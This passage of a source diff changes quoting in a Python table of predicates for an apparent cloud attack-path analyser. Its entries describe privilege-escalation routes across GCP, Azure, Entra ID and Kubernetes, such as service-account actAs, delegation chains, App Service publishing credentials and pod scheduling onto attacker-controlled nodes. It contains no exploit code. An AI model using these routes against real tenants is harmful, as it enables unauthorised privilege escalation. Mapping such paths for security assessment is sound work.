'gcp_run_service_ssh_path': (("gcp",), "bool_true", "Source has SSH permission on an attached, ready second-generation Cloud Run service with SSH enabled."), - "gcp_appengine_instance_ssh_path": (("gcp",), "bool_true", + 'gcp_appengine_instance_ssh_path': (("gcp",), "bool_true", "Exact flexible App Engine instance, backing VM, runtime identity, login method and SSH route."), - "gcp_appengine_deploy_path": (("gcp",), "bool_true", + 'gcp_appengine_deploy_path': (("gcp",), "bool_true", "Existing App Engine application, source staging bucket, and target runtime service-account repository access."), - "gcp_appengine_legacy_actas_unenforced": (("gcp",), "bool_true", + 'gcp_appengine_legacy_actas_unenforced': (("gcp",), "bool_true", "Visible legacy App Engine actAs constraint with effective enforcement disabled for the target project."), - "gcp_appintegration_run_as_path": (("gcp",), "bool_true", + 'gcp_appintegration_run_as_path': (("gcp",), "bool_true", "Enabled Application Integration service, one observed integration, same-integration invocation or publication rights, and actAs on the selected service account."), - "gcp_gcr_namespace_path": (("gcp",), "bool_true", + 'gcp_gcr_namespace_path': (("gcp",), "bool_true", "Fully redirected gcr.io host with a missing matching repository, create and upload rights there, and an exact tagged workload consumer identity."), - "gcp_artifact_policy_consumer_path": (("gcp",), "bool_true", + 'gcp_artifact_policy_consumer_path': (("gcp",), "bool_true", "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository policy-write authority."), - "gcp_agentidentity_retrieve_path": (("gcp",), "bool_true", + 'gcp_agentidentity_retrieve_path': (("gcp",), "bool_true", "Exact enabled Google OAuth provider and active authorization with useful granted scopes."), - "gcp_agentidentity_update_path": (("gcp",), "bool_true", + 'gcp_agentidentity_update_path': (("gcp",), "bool_true", "Exact enabled Google OAuth provider and active authorization whose later refresh could reach a changed token endpoint."), - "gcp_batch_agent_reporter_on_target": (("gcp",), "bool_true", + 'gcp_batch_agent_reporter_on_target': (("gcp",), "bool_true", "The target service account holds batch.states.report in its Batch job project."), - "gcp_run_worker_pool_create_or_update_path": (("gcp",), "bool_true", + 'gcp_run_worker_pool_create_or_update_path': (("gcp",), "bool_true", "Source can create a worker pool in the target project or update an exact existing worker pool there."), - "gcp_actas_granted_on_target": (("gcp",), "bool_true", + 'gcp_actas_granted_on_target': (("gcp",), "bool_true", "Source holds iam.serviceAccounts.actAs on the target SA (SA policy or project/folder/org inheritance)."), - "gcp_sa_in_scope_of_permission": (("gcp",), "bool_true", + 'gcp_sa_in_scope_of_permission': (("gcp",), "bool_true", "Requirements with resource '*' must hold on the target SA's project (or the SA / an ancestor)."), - "gcp_hmac_storage_identity": (("gcp",), "bool_true", + 'gcp_hmac_storage_identity': (("gcp",), "bool_true", "Each enabled inventoried service account becomes a separate Cloud Storage-only HMAC authority target."), - "gcp_bounded_service_execution": (("gcp",), "string", + 'gcp_bounded_service_execution': (("gcp",), "string", "An enabled service account becomes a separate bounded service authority target for the named mechanism."), - "gcp_wif_restorable_path": (("gcp",), "bool_true", + 'gcp_wif_restorable_path': (("gcp",), "bool_true", "An exact disabled or deleted workload pool or provider is joined to a pool-wide service-account token binding and the source's restore action."), - "gcp_wif_active_path": (("gcp",), "string", + 'gcp_wif_active_path': (("gcp",), "string", "An exact active workload pool or provider is joined to a pool-wide service-account token binding and the source's control action."), - "gcp_workforce_control_path": (("gcp",), "bool_true", + 'gcp_workforce_control_path': (("gcp",), "bool_true", "An exact workforce pool or provider control action is joined to an organization-local pool-wide service-account token binding."), - "gcp_bounded_workspace_oauth": (("gcp",), "string", + 'gcp_bounded_workspace_oauth': (("gcp",), "string", "A named Workspace user becomes a scope-limited OAuth authority target for the named mechanism."), - "gcp_cross_project_run_service": (("gcp",), "bool_true", + 'gcp_cross_project_run_service': (("gcp",), "bool_true", "A Cloud Run service can be created in a different collected project with the target SA only when the " "target project's effective cross-project org policy permits it and its service agent has token access."), - "gcp_cross_project_run_job": (("gcp",), "bool_true", + 'gcp_cross_project_run_job': (("gcp",), "bool_true", "A Cloud Run job can be created and run in a different collected project with the target SA only when the " "target project's effective cross-project org policy permits it and its service agent has token access."), - "gcp_cross_project_cloudbuild": (("gcp",), "bool_true", + 'gcp_cross_project_cloudbuild': (("gcp",), "bool_true", "A build in another collected project can use the target SA only when the effective cross-project policy " "permits it and that project's Cloud Build service agent has token access."), - "gcp_cross_project_workflows": (("gcp",), "bool_true", + 'gcp_cross_project_workflows': (("gcp",), "bool_true", "A workflow in another collected project can use the target SA only when the effective cross-project policy " "permits it and that project's Workflows service agent has token access."), - "gcp_implicit_delegation_chain": (("gcp",), "bool_true", + 'gcp_implicit_delegation_chain': (("gcp",), "bool_true", "Target SA is one a delegate chain can mint credentials for: the source holds iam.serviceAccounts.implicitDelegation " "on delegate D1, each Di holds implicitDelegation on Di+1 (transitively), and some Dk holds getAccessToken, signBlob " "or signJwt on the target. Delegates are not targets themselves (implicitDelegation does not yield their own token)."), - "gcp_custom_role_bound_to_source": (("gcp",), "bool_true", + 'gcp_custom_role_bound_to_source': (("gcp",), "bool_true", "Target is the exact scope where the source has a binding to a collected custom role, and the source can update that exact role."), - "gcp_actas_granted_to_service_agent": (("gcp",), "string", + 'gcp_actas_granted_to_service_agent': (("gcp",), "string", "Target SA is one on which the named Google service agent (cloudservices = Google APIs service agent " "@cloudservices.gserviceaccount.com, used by managed instance groups) holds iam.serviceAccounts.actAs " "(SA policy or project/folder/org inheritance; Editor by default). Unknown when no binding of that agent is collected."), - "gcp_pam_entitlement_requester": (("gcp",), "bool_true", + 'gcp_pam_entitlement_requester': (("gcp",), "bool_true", "Target scope has a Privileged Access Manager entitlement whose eligible requesters include the source (directly or " "through a group) and whose roles give IAM control of the scope. PAM entitlements are not collected (not evaluated)."), - # ---- Azure RBAC ------------------------------------------------------ - "azure_identity_assignable_in_scope": (("azure",), "bool_true", + 'azure_identity_assignable_in_scope': (("azure",), "bool_true", "Requirements with scope '*' must hold on a scope that contains the identity's attached resource " "(or the user-assigned identity resource)."), - "azure_automation_assignable_uami": (("azure",), "bool_true", + 'azure_automation_assignable_uami': (("azure",), "bool_true", "The source can assign the exact user-assigned identity to an inventoried Automation account or create one in an inventoried group, then create or edit and run a runbook there."), - "azure_automation_runbook_identity_path": (("azure",), "bool_true", + 'azure_automation_runbook_identity_path': (("azure",), "bool_true", "The source can create or edit and run a runbook on the exact Automation account carrying this managed identity."), - "azure_automation_hybrid_worker_path": (("azure",), "bool_true", + 'azure_automation_hybrid_worker_path': (("azure",), "bool_true", "The source can create or edit and run a runbook on the Automation account with an inventoried Hybrid Worker VM carrying this identity."), - "azure_batch_job_pool_identity": (("azure",), "bool_true", + 'azure_batch_job_pool_identity': (("azure",), "bool_true", "The source can create a Batch job or schedule on the exact Entra-enabled account with a runnable native pool carrying this user-assigned identity."), - "azure_batch_shared_key_pool_identity": (("azure",), "bool_true", + 'azure_batch_shared_key_pool_identity': (("azure",), "bool_true", "The source can obtain a Shared Key from the exact Batch account with a native pool carrying this verified user-assigned identity."), - "azure_batch_pool_starttask_identity": (("azure",), "bool_true", + 'azure_batch_pool_starttask_identity': (("azure",), "bool_true", "The source can write the exact native Batch pool that carries this verified user-assigned identity."), - "azure_batch_pool_assignable_uami": (("azure",), "bool_true", + 'azure_batch_pool_assignable_uami': (("azure",), "bool_true", "The source can write an exact existing Batch pool or a new pool under an inventoried account and can assign the target user-assigned identity."), - "azure_containerapp_assignable_uami": (("azure",), "bool_true", + 'azure_containerapp_assignable_uami': (("azure",), "bool_true", "The source can write an exact inventoried Container App, attach the target user-assigned identity, and run a controlled revision."), - "azure_containerapp_create_uami_path": (("azure",), "bool_true", + 'azure_containerapp_create_uami_path': (("azure",), "bool_true", "The source can create an app under an inventoried resource group and join an existing or creatable managed environment in the same subscription."), - "azure_containerapp_exec_identity": (("azure",), "bool_true", + 'azure_containerapp_exec_identity': (("azure",), "bool_true", "The source can obtain a console token and execute or debug on the same Container App with a running revision whose current identity is available to its main container."), - "azure_containerapp_job_assignable_uami": (("azure",), "bool_true", + 'azure_containerapp_job_assignable_uami': (("azure",), "bool_true", "The source can assign the verified user-assigned identity to an exact writable job in a usable managed environment, or create a scheduled job in an inventoried group and joinable environment."), - "azure_confidential_ledger_admin_path": (("azure",), "bool_true", + 'azure_confidential_ledger_admin_path': (("azure",), "bool_true", "The source has an Entra principal and the target is an inventoried usable Confidential Ledger whose ARM principal list can be updated."), - "azure_appservice_assignable_uami": (("azure",), "bool_true", + 'azure_appservice_assignable_uami': (("azure",), "bool_true", "The source can assign the exact inventoried user-assigned identity to an existing app it can write and control code in, or create an app in an inventoried resource group using a joinable plan."), - "azure_appservice_backup_restore_code_path": (("azure",), "bool_true", + 'azure_appservice_backup_restore_code_path': (("azure",), "bool_true", "The source can restore a backup on the exact supported-tier App Service carrying the target identity; backup compatibility and code execution remain conditional."), - "azure_appservice_config_code_path": (("azure",), "bool_true", + 'azure_appservice_config_code_path': (("azure",), "bool_true", "The target identity is attached to the exact app whose web or app-settings config child the source can write; the app's runtime must support a code-bearing configuration path."), - "azure_appservice_enable_publishing_credentials_code_path": (("azure",), "bool_true", + 'azure_appservice_enable_publishing_credentials_code_path': (("azure",), "bool_true", "The source can enable the exact app's SCM basic auth policy and read its publishing credentials; the app carries the target identity and can run deployed code."), - "azure_appservice_kudu_code_path": (("azure",), "bool_true", + 'azure_appservice_kudu_code_path': (("azure",), "bool_true", "The target identity is attached to the exact App Service for which the source holds publish/action, with a supported Kudu hosting plan and an app that can run."), - "azure_appservice_onedeploy_code_path": (("azure",), "bool_true", + 'azure_appservice_onedeploy_code_path': (("azure",), "bool_true", "The source can write the exact app's extensions/onedeploy child; the attached identity belongs to that app, and its runtime loads deployed packages."), - "azure_appservice_publishing_credentials_code_path": (("azure",), "bool_true", + 'azure_appservice_publishing_credentials_code_path': (("azure",), "bool_true", "The source can read publishing credentials for the exact app carrying the target identity, SCM basic auth is enabled, and the runtime can load deployed code."), - "azure_appservice_sitecontainers_code_path": (("azure",), "bool_true", + 'azure_appservice_sitecontainers_code_path': (("azure",), "bool_true", "The source can write a SiteContainer child of the exact Linux app carrying the target identity, and that app uses SiteContainers mode."), - "azure_appservice_siteextensions_code_path": (("azure",), "bool_true", + 'azure_appservice_siteextensions_code_path': (("azure",), "bool_true", "The source can install a site extension with a selectable package name on the exact Windows code app carrying the target identity."), - "azure_appservice_slot_code_path": (("azure",), "bool_true", + 'azure_appservice_slot_code_path': (("azure",), "bool_true", "The source has a code-bearing publish, source control, config, or SiteContainer route on the exact slot carrying the target identity."), - "azure_appservice_slot_swap_code_path": (("azure",), "bool_true", + 'azure_appservice_slot_swap_code_path': (("azure",), "bool_true", "The source can stage code and swap the same inventoried slot into the exact production app carrying the target identity."), - "azure_appservice_sourcecontrol_code_path": (("azure",), "bool_true", + 'azure_appservice_sourcecontrol_code_path': (("azure",), "bool_true", "The source can write the exact identity app's sourcecontrols/web child and that app can execute deployed repository code."), - "azure_arc_entra_admin_ssh_path": (("azure",), "bool_true", + 'azure_arc_entra_admin_ssh_path': (("azure",), "bool_true", "The source can read Arc relay credentials for the exact machine endpoint and log in as administrator through configured Entra SSH."), - "azure_arc_custom_script_code_path": (("azure",), "bool_true", + 'azure_arc_custom_script_code_path': (("azure",), "bool_true", "The source can create or update a Custom Script child on the exact Arc identity machine while its connected agent permits that extension."), - "azure_arc_run_command_code_path": (("azure",), "bool_true", + 'azure_arc_run_command_code_path': (("azure",), "bool_true", "The source can create or update a Run Command child on the exact Arc identity machine while its connected agent permits the handler."), - "azure_deployment_script_uami_path": (("azure",), "bool_true", + 'azure_deployment_script_uami_path': (("azure",), "bool_true", "The source can create or update a deployment script with the exact assignable UAMI and can manage its required support resources."), - "azure_appservice_slot_publishing_credentials_code_path": (("azure",), "bool_true", + 'azure_appservice_slot_publishing_credentials_code_path': (("azure",), "bool_true", "The source can read publishing credentials for the exact slot carrying the target identity, and that slot's SCM basic auth policy allows credential use."), - "azure_acr_assignable_uami": (("azure",), "bool_true", + 'azure_acr_assignable_uami': (("azure",), "bool_true", "The source can write a task on an inventoried ACR registry or existing task and assign an exact, verified user-assigned identity resource."), - "azure_acr_existing_task_identity": (("azure",), "bool_true", + 'azure_acr_existing_task_identity': (("azure",), "bool_true", "The exact inventoried ACR task carries the target managed identity and the source can write that task."), - "azure_aks_rbac_group_impersonation": (("azure",), "bool_true", + 'azure_aks_rbac_group_impersonation': (("azure",), "bool_true", "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API."), - "azure_aks_rbac_cluster_binding": (("azure",), "bool_true", + 'azure_aks_rbac_cluster_binding': (("azure",), "bool_true", "The exact AKS cluster enables Azure RBAC for Kubernetes, and the source can authenticate to its Kubernetes API before creating a ClusterRoleBinding."), - "azure_flux_cluster_path": (("azure",), "bool_true", + 'azure_flux_cluster_path': (("azure",), "bool_true", "A writable Flux configuration belongs to the exact AKS or Arc cluster and has cluster scope."), - "azure_vmss_instance_identity": (("azure",), "bool_true", + 'azure_vmss_instance_identity': (("azure",), "bool_true", "The selected scale-set VM instance belongs to a scale set carrying this managed identity."), - "azure_aci_assignable_uami": (("azure",), "bool_true", + 'azure_aci_assignable_uami': (("azure",), "bool_true", "The source can assign the exact user-assigned identity and write an inventoried ACI container group or create one in an inventoried resource group; missing inventory stays unresolved."), - "azure_aci_exec_running_identity": (("azure",), "bool_true", + 'azure_aci_exec_running_identity': (("azure",), "bool_true", "The exact native ACI container group carries the target managed identity, has a running container, and the source can execute a command there."), - "azure_aci_existing_write_identity": (("azure",), "bool_true", + 'azure_aci_existing_write_identity': (("azure",), "bool_true", "The source can update an exact existing running ACI group that carries the target managed identity; terminated groups do not qualify."), - "azure_apim_restorable_backup": (("azure",), "bool_true", + 'azure_apim_restorable_backup': (("azure",), "bool_true", "One fresh reviewed record binds a valid APIM-created backup, storage access, compatible restore target, controlled policy, and the exact attached identity."), - "managed_identity_type": (("azure",), "string", + 'managed_identity_type': (("azure",), "string", "Managed identity is user_assigned or system_assigned."), - "custom_role_assigned_to_source": (("azure",), "bool_true", + 'custom_role_assigned_to_source': (("azure",), "bool_true", "Target scope is one where a custom role assigned to the source applies (role definition rewrite)."), - "credential_stored_in_scope": (("azure",), "string", + 'credential_stored_in_scope': (("azure",), "string", "Principals whose secrets are stored in that resource/scope (always conditional; secret contents are never read)."), - "azure_host_linked_to_pivot": (("azure",), "host_link", + 'azure_host_linked_to_pivot': (("azure",), "host_link", "Identity of a VM linked to the pivot resource: avd_session_host (application group -> hostPoolArmPath -> session " "hosts), automation_hybrid_worker (hybrid runbook workers' vmResourceId), devtest_lab_compute_vm (lab VM computeId), " "service_fabric_node_vmss (not collected: always unresolved). Linked VM identities are derived; the others are " "dropped when every link under {pivot} is collected, else unresolved."), - "azure_deployer_of_pivot": (("azure",), "bool_true", + 'azure_deployer_of_pivot': (("azure",), "bool_true", "Identity that deploys the pivot resource (e.g. deployment script runner); not collected (unknown)."), - "azure_site_kind": (("azure",), "string_or_list", + 'azure_site_kind': (("azure",), "string_or_list", "Microsoft.Web/sites kind contains the value (functionapp, app, ...)."), - "ml_compute_assigned_to_source": (("azure",), "bool_true", + 'ml_compute_assigned_to_source': (("azure",), "bool_true", "Azure ML compute instance assigned to the source (not collected, unknown)."), - "azure_consumer_of_pivot": (("azure",), "consumer_binding", + 'azure_consumer_of_pivot': (("azure",), "consumer_binding", "Managed identity of a workload that reads the pivot resource (value = binding kind(s): " f"{', '.join(sorted(('key_vault_reference', 'storage_content', 'app_configuration_reference', 'queue_trigger', 'service_bus_trigger', 'event_subscription')))}). " "An identity holding the binding's read data action on a pivot resource is conditional " "(consumer_binding_not_collected); every other one is unresolved. Whether the consumer trusts the value enough " "to execute it is application logic: entries keep a condition for it."), - "azure_assignable_via_identity_holding": (("azure",), "action", + 'azure_assignable_via_identity_holding': (("azure",), "action", "User-assigned identity reached through an intermediate user-assigned identity T: the source holds " "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action on T and T holds the named action on the target " "identity resource (e.g. an Image Builder template identity that assigns the build-VM identity). The edge takes " "the weaker of both grants and the condition via_intermediate_identity:."), - "azure_users_assigned_to_pivot": (("azure",), "bool_true", + 'azure_users_assigned_to_pivot': (("azure",), "bool_true", "azure_user targets holding Desktop Virtualization User (directly or through a group) on an AVD application " "group within {pivot}; always conditional (user_launches_app)."), - "attached_to_vm_joined_to_entra_domain_services": (("azure",), "bool_true", + 'attached_to_vm_joined_to_entra_domain_services': (("azure",), "bool_true", "Managed identity attached to a VM joined to a Microsoft Entra Domain Services managed domain (JsonADDomainExtension " "naming the domainName of a Microsoft.AAD/domainServices resource): conditional (domain_join_state_not_verified); " "other VM identities unresolved (manual joins leave no ARM trace) unless no managed domain is inventoried."), - "azure_assignment_condition_uses_principal_attribute": (("azure",), "bool_true", + 'azure_assignment_condition_uses_principal_attribute': (("azure",), "bool_true", "azure_scope_owner / azure_dataplane_admin targets covered by a role assignment of the source (or its groups) whose " "ABAC condition reads @Principal custom security attributes (scope owner: the role grants roleAssignments/write at " "that scope; data-plane admin: the role has DataActions over the resource). Conditional " "(attribute_value_satisfying_condition_not_verified)."), - "fabric_workspace_identity": (("azure",), "bool_true", + 'fabric_workspace_identity': (("azure",), "bool_true", "azure_service_principal targets that are the workspace identity of a Microsoft Fabric workspace; " "{target.host_resource} = that workspace (for fabric_workspace_role requirements)."), - # ---- Entra ID -------------------------------------------------------- - "entra_role_assignable": (("azure",), "string_or_list", + 'entra_role_assignable': (("azure",), "string_or_list", "Target is the named Entra directory role (display name, template ID, '*' or 'any')."), - "entra_reset_matrix_column": (("azure",), "string", + 'entra_reset_matrix_column': (("azure",), "string", "Targets whose password the role column may reset per Microsoft's 'who can reset passwords' table, " "excluding role-assignable-group members and restricted-AU members."), - "entra_role_assignment_scope_covers_target": (("azure",), "bool_true", + 'entra_role_assignment_scope_covers_target': (("azure",), "bool_true", "The directory role assignment's directoryScopeId ('/', AU or object) contains the target."), - "entra_target_not_in_restricted_au": (("azure",), "bool_true", + 'entra_target_not_in_restricted_au': (("azure",), "bool_true", "Target is not a member of a restricted management administrative unit (AU facts needed)."), - "entra_sp_has_tenant_application": (("azure",), "bool_true", + 'entra_sp_has_tenant_application': (("azure",), "bool_true", "Service principal's appId belongs to an application registered in this tenant."), - "entra_app_sign_in_audience": (("azure",), "string_or_list", + 'entra_app_sign_in_audience': (("azure",), "string_or_list", "Application signInAudience equals the value."), - "entra_sp_type_in": (("azure",), "string_or_list", + 'entra_sp_type_in': (("azure",), "string_or_list", "Service principal servicePrincipalType is one of the values."), - "entra_source_is_owner_of_application": (("azure",), "bool_true", "Source owns the target's application object."), - "entra_source_is_owner_of_service_principal": (("azure",), "bool_true", "Source owns the target service principal."), - "entra_source_is_owner_of_group": (("azure",), "bool_true", "Source owns the target group."), - "entra_custom_role_assigned_to_source": (("azure",), "bool_true", + 'entra_source_is_owner_of_application': (("azure",), "bool_true", "Source owns the target's application object."), + 'entra_source_is_owner_of_service_principal': (("azure",), "bool_true", "Source owns the target service principal."), + 'entra_source_is_owner_of_group': (("azure",), "bool_true", "Source owns the target group."), + 'entra_custom_role_assigned_to_source': (("azure",), "bool_true", "Target is reached by editing a custom directory role already assigned to the source."), - "entra_pim_eligible_for_source": (("azure",), "bool_true", + 'entra_pim_eligible_for_source': (("azure",), "bool_true", "Source has a PIM eligibility schedule for the target role."), - "entra_agent_blueprint_principal_or_child_identity": (("azure",), "bool_true", + 'entra_agent_blueprint_principal_or_child_identity': (("azure",), "bool_true", "Target is an agent identity blueprint principal or one of its child agent identities."), - "entra_user_upn_on_federatable_custom_domain": (("azure",), "bool_true", + 'entra_user_upn_on_federatable_custom_domain': (("azure",), "bool_true", "Target user's UPN is on a verified custom domain whose federation the source can change (domain facts needed)."), - "entra_group_role_assignable": (("azure",), "bool", + 'entra_group_role_assignable': (("azure",), "bool", "Group isAssignableToRole equals the value."), - "entra_group_membership_type": (("azure",), "string", + 'entra_group_membership_type': (("azure",), "string", "Group membership is 'assigned' or 'dynamic' (groupTypes contains DynamicMembership)."), - "entra_group_membership_cloud_writable": (("azure",), "bool_true", + 'entra_group_membership_cloud_writable': (("azure",), "bool_true", "Synchronized or missing group source-of-authority facts keep a membership-write path conditional."), - "entra_group_source_self_membership": (("azure",), "bool_true", + 'entra_group_source_self_membership': (("azure",), "bool_true", "An application source needs Graph group-write and application-write permission to add its own service principal as a member."), - "entra_group_type_covered_by_permission": (("azure",), "bool_true", + 'entra_group_type_covered_by_permission': (("azure",), "bool_true", "Group type (security / Microsoft 365) is covered by the entra_permission variant (groups.security / groups.unified)."), - "entra_dynamic_rule_attributes_writable_by_source": (("azure",), "bool_true", + 'entra_dynamic_rule_attributes_writable_by_source': (("azure",), "bool_true", "Dynamic membershipRule references user attributes the source can write (membershipRule needed)."), - "entra_dynamic_rule_satisfiable_by_invited_guest": (("azure",), "bool_true", + 'entra_dynamic_rule_satisfiable_by_invited_guest': (("azure",), "bool_true", "Dynamic membershipRule can be satisfied by a guest the source can invite (membershipRule needed)."), - "entra_pim_group_eligible_for_source": (("azure",), "pim_group_access", + 'entra_pim_group_eligible_for_source': (("azure",), "pim_group_access", "entra_group targets for which the source (or one of its groups) has a PIM for Groups eligibility: true = member " "or owner, or 'member' / 'owner'. Always conditional (pim_activation_required)."), - "entra_resource_in_catalog": (("azure",), "bool_true", + 'entra_resource_in_catalog': (("azure",), "bool_true", "entra_group / azure_service_principal / entra_role targets that are resources of an entitlement-management " "catalog; {target.catalog} = those catalogs (for entra_catalog_role requirements)."), - "entra_access_package_auto_assignment_open_to_guest": (("azure",), "bool_true", + 'entra_access_package_auto_assignment_open_to_guest': (("azure",), "bool_true", "Targets that are resources of an access package with an automatic-assignment policy whose rule does not exclude " "guests (userType -eq \"Member\"). Conditional (auto_assignment_rule_semantics_approximated)."), - "intune_managed_device_user": (("azure",), "bool_true", + 'intune_managed_device_user': (("azure",), "bool_true", "azure_user targets that are the primary user of an Intune-managed device. Conditional " "(device_session_not_verified): code run on the device reaches the user's session only while they sign in."), - # ---- Kubernetes ------------------------------------------------------ - "k8s_sa_in_namespace": (("k8s",), "namespace", + 'k8s_sa_in_namespace': (("k8s",), "namespace", "Target service account namespace: '{source.namespace}', '{target.namespace}', '*', or a literal namespace."), - "k8s_node_hosting_pods_with_sa": (("k8s",), "bool_true", + 'k8s_node_hosting_pods_with_sa': (("k8s",), "bool_true", "Service account is mounted by a scheduled pod (k8s_service_account) or node hosts pods (k8s_node); " "with a k8s_node source, the SAs of pods scheduled on that node."), - "k8s_sa_used_by_running_pod": (("k8s", "gcp"), "bool_true", "Service account is used by a running pod with an available token."), - "k8s_sa_used_by_controller_managed_pod": (("k8s",), "bool_true", + 'k8s_sa_used_by_running_pod': (("k8s", "gcp"), "bool_true", "Service account is used by a running pod with an available token."), + 'k8s_sa_used_by_controller_managed_pod': (("k8s",), "bool_true", "Service account is used by a pod owned by a controller (ownerReferences)."), - "k8s_node_schedulable": (("k8s",), "bool_true", + 'k8s_node_schedulable': (("k8s",), "bool_true", "Node can be targeted by direct pod placement with spec.nodeName even when cordoned; unconfirmed readiness is conditional."), - "k8s_node_hosting_pods_in_namespace": (("k8s",), "namespace", "Node hosts pods of that namespace."), - "k8s_node_hosting_privileged_pod_in_namespace": (("k8s",), "namespace", + 'k8s_node_hosting_pods_in_namespace': (("k8s",), "namespace", "Node hosts pods of that namespace."), + 'k8s_node_hosting_privileged_pod_in_namespace': (("k8s",), "namespace", "Node hosts a pod of that namespace with a privileged container (containers, initContainers or " "ephemeralContainers); added SYS_ADMIN / SYS_MODULE / DAC_READ_SEARCH / ALL, or SYS_PTRACE with hostPID, " "match conditionally. hostNetwork, hostIPC and hostPID alone do not match."), - "k8s_node_hosting_host_mount_pod_in_namespace": (("k8s",), "namespace", + 'k8s_node_hosting_host_mount_pod_in_namespace': (("k8s",), "namespace", "Node hosts a pod of that namespace mounting a sensitive hostPath: a container runtime socket or a node " "credential path (even readOnly), or a host-executed path mounted writable; /etc/kubernetes, /home, " "/var/lib/docker|containerd and subPath mounts match conditionally. Other hostPaths (e.g. /var/log) do not match."), - "k8s_sa_name": (("k8s",), "string_or_list", "Target service account name is one of the listed names."), - "k8s_sa_used_by_pod_consuming_configmap": (("k8s",), "bool_true", + 'k8s_sa_name': (("k8s",), "string_or_list", "Target service account name is one of the listed names."), + 'k8s_sa_used_by_pod_consuming_configmap': (("k8s",), "bool_true", "Service account is used by a running pod that consumes a ConfigMap (volume, projected volume, envFrom or " "env valueFrom; kube-root-ca.crt ignored); always conditional because execution of the content is not verified."), - "exclude_names": (("k8s",), "string_or_list", "Drop targets whose name is in the list."), - "k8s_sa_cloud_binding": (("k8s",), "string", + 'exclude_names': (("k8s",), "string_or_list", "Drop targets whose name is in the list."), + 'k8s_sa_cloud_binding': (("k8s",), "string", "Cloud identity bound to the source SA via irsa|eks_pod_identity|gke_workload_identity|azure_workload_identity|aks_identity_binding (cloud facts needed)."), - "trust_allows_k8s_sa_oidc_subject": (("k8s",), "bool_true", "IAM role trust allows the cluster OIDC subject of the SA (cloud facts needed)."), - "gcp_workload_identity_user_granted_to_k8s_sa": (("k8s",), "bool_true", + 'trust_allows_k8s_sa_oidc_subject': (("k8s",), "bool_true", "IAM role trust allows the cluster OIDC subject of the SA (cloud facts needed)."), + 'gcp_workload_identity_user_granted_to_k8s_sa': (("k8s",), "bool_true", "GSA grants roles/iam.workloadIdentityUser to the KSA member (cloud facts needed)."), - "azure_fic_matches_k8s_sa": (("k8s",), "bool_true", "Federated identity credential subject matches the SA (cloud facts needed)."), - "k8s_node_cloud_identity": (("k8s",), "bool_true", "Cloud identity attached to the node (cloud facts needed)."), - "k8s_nodes_mapped_to_cloud_identity": (("k8s",), "bool_true", + 'azure_fic_matches_k8s_sa': (("k8s",), "bool_true", "Federated identity credential subject matches the SA (cloud facts needed)."), + 'k8s_node_cloud_identity': (("k8s",), "bool_true", "Cloud identity attached to the node (cloud facts needed)."), + 'k8s_nodes_mapped_to_cloud_identity': (("k8s",), "bool_true", "Nodes running with the source EKS node role (instance facts) that the role is mapped to: a node access entry " "(EC2_LINUX/EC2_WINDOWS) = derived, no entry = conditional (aws-auth mapRoles not collected; dropped in API-only " "authentication mode); not evaluated without the related AWS eks_access_entry inventory."), - "k8s_sa_absent_but_bound": (("k8s",), "bool_true", + 'k8s_sa_absent_but_bound': (("k8s",), "bool_true", "Service account referenced by a (Cluster)RoleBinding subject but absent from the serviceaccount inventory " "(virtual SA node; anyone who can create it inherits the binding)."), - "trust_allows_oidc_subject_wildcard": (("k8s",), "string", + 'trust_allows_oidc_subject_wildcard': (("k8s",), "string", "IAM role trust matches the given OIDC subject pattern (e.g. system:serviceaccount:{pivot.namespace}:*) on the cluster OIDC provider (cloud facts needed)."), - "kube2iam_namespace_permits_role": (("k8s",), "namespace", + 'kube2iam_namespace_permits_role': (("k8s",), "namespace", "Namespace (usually {pivot.namespace}) annotation iam.amazonaws.com/permitted (kube2iam/kiam) allows the target role (annotation facts needed)."), - "k8s_sa_has_token_secret": (("gcp",), "bool_true", + 'k8s_sa_has_token_secret': (("gcp",), "bool_true", "GKE: KSAs of cluster {target.scope} referenced by a kubernetes.io/service-account-token Secret " "(annotation kubernetes.io/service-account.name); joined from the related K8s snapshot, else one conditional aggregate per cluster."), - "k8s_sa_in_cluster": (("gcp",), "bool_true", + 'k8s_sa_in_cluster': (("gcp",), "bool_true", "GKE: every KSA of cluster {target.scope}; joined from the related K8s snapshot, else one conditional aggregate per cluster."), - "assumable_by_pivot_role": (("aws",), "bool_true", + 'assumable_by_pivot_role': (("aws",), "bool_true", "Role the pivot role ({pivot}, e.g. a StackSet administration role) can assume: its trust admits the pivot role " "(or its account) and the pivot's identity policy allows sts:AssumeRole on it (trust naming the pivot ARN in the same " "account suffices). For StackSets, a new or existing self-managed StackSet route must also reach the target " "account. The pivot itself is excluded; roles in other accounts are included."), - "k8s_sa_has_legacy_token_secret": (("k8s",), "bool_true", + 'k8s_sa_has_legacy_token_secret': (("k8s",), "bool_true", "ServiceAccounts referenced by a kubernetes.io/service-account-token Secret in their namespace " "(annotation kubernetes.io/service-account.name, from secret metadata; never data)."), - "openshift_namespace_has_sa_with_host_scc": (("k8s",), "namespace", + 'openshift_namespace_has_sa_with_host_scc': (("k8s",), "namespace", "The OpenShift namespace (usually {pivot.namespace}) contains an SA allowed to use a host-level SCC (privileged / host " "PID / network / IPC / hostPath): from collected securitycontextconstraints users[] / groups[] and RBAC 'use' grants on " "security.openshift.io securitycontextconstraints. Unresolved when the SCC inventory or api_discovery is missing."), - "service_plane": (("aws",), "service_plane", + 'service_plane': (("aws",), "service_plane", "aws_service_plane_admin: the managed service whose application plane is administered " "(" + "|".join(SERVICE_PLANES) + "; IAM service prefix)."), - "k8s_sa_used_by_pending_pod": (("k8s",), "bool_true", + 'k8s_sa_used_by_pending_pod': (("k8s",), "bool_true", "Service account of a collected pod in phase Pending with no spec.nodeName (unscheduled; a pods/binding or " "bindings write can place it on a node the attacker controls)."), - "k8s_node_hosting_pod_of_source": (("k8s",), "bool_true", + 'k8s_node_hosting_pod_of_source': (("k8s",), "bool_true", "k8s_node targets hosting a collected pod that runs as the source service account (the 'associated node')."), - "k8s_sa_namespace_absent": (("k8s",), "bool_true", - "Service account referenced by a binding subject or an SCC users[] entry whose namespace is absent from a " - "complete namespace inventory (creating the namespace and the SA inherits the reference)."), - "k8s_sa_named_in_scc_users": (("k8s",), "bool_true", - "OpenShift: service account named in a SecurityContextConstraints users[] entry (system:serviceaccount::); " - "SA nodes that only an SCC names are virtual (not in the serviceaccount inventory). Not OpenShift: no targets."), - "k8s_secret_holds_cloud_credential": (("k8s",), "secret_provider", + 'k8s_sa_namespace_absent': (("k8s",), "bool_true", + "Service account referenced by a binding that adds a concrete permission or by a host-access 